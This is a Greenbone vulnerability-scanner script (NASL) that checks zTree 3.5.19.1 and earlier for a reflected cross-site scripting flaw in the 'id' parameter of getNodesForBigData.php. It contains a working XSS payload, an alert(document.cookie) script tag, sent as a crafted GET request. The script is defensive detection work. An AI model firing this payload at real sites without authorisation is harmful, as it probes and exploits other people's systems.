zTree Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:ztree_project:ztree";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.806901");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-12-16 11:04:52 +0530 (Wed, 16 Dec 2015)");
  script_tag(name:"qod_type", value:"remote_vul");
  script_name("zTree Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"zTree is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"The flaw exists due to an improper
  sanitization of 'id' parameter in getNodesForBigData.php script.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attacker to execute arbitrary web script code in a user's browser session within
  the trust relationship between their browser and the server.");

  script_tag(name:"affected", value:"zTree version 3.5.19.1 and possibly below");

  script_tag(name:"solution", value:"Upgrade to zTree 3.5.22 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_xref(name:"URL", value:"https://www.netsparker.com/cve-2015-7348-multiple-xss-vulnerabilities-identified-in-ztree");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_ztree_detect.nasl");
  script_mandatory_keys("zTree/Installed");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"https://github.com/zTree/zTree_v3");
  exit(0);
}


include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!http_port = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:http_port)){
  exit(0);
}

url = dir + '/en/asyncData/getNodesForBigData.php?id=""<scRipt>alert(docu' +
            'ment.cookie)</scRipt>';

if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
           pattern:"<scRipt>alert\(document.cookie\)</scRipt",
           extra_check:"name:'tree"))
{
  report = http_report_vuln_url(port:http_port, url:url);
  security_message(port:http_port, data:report);
  exit(0);
}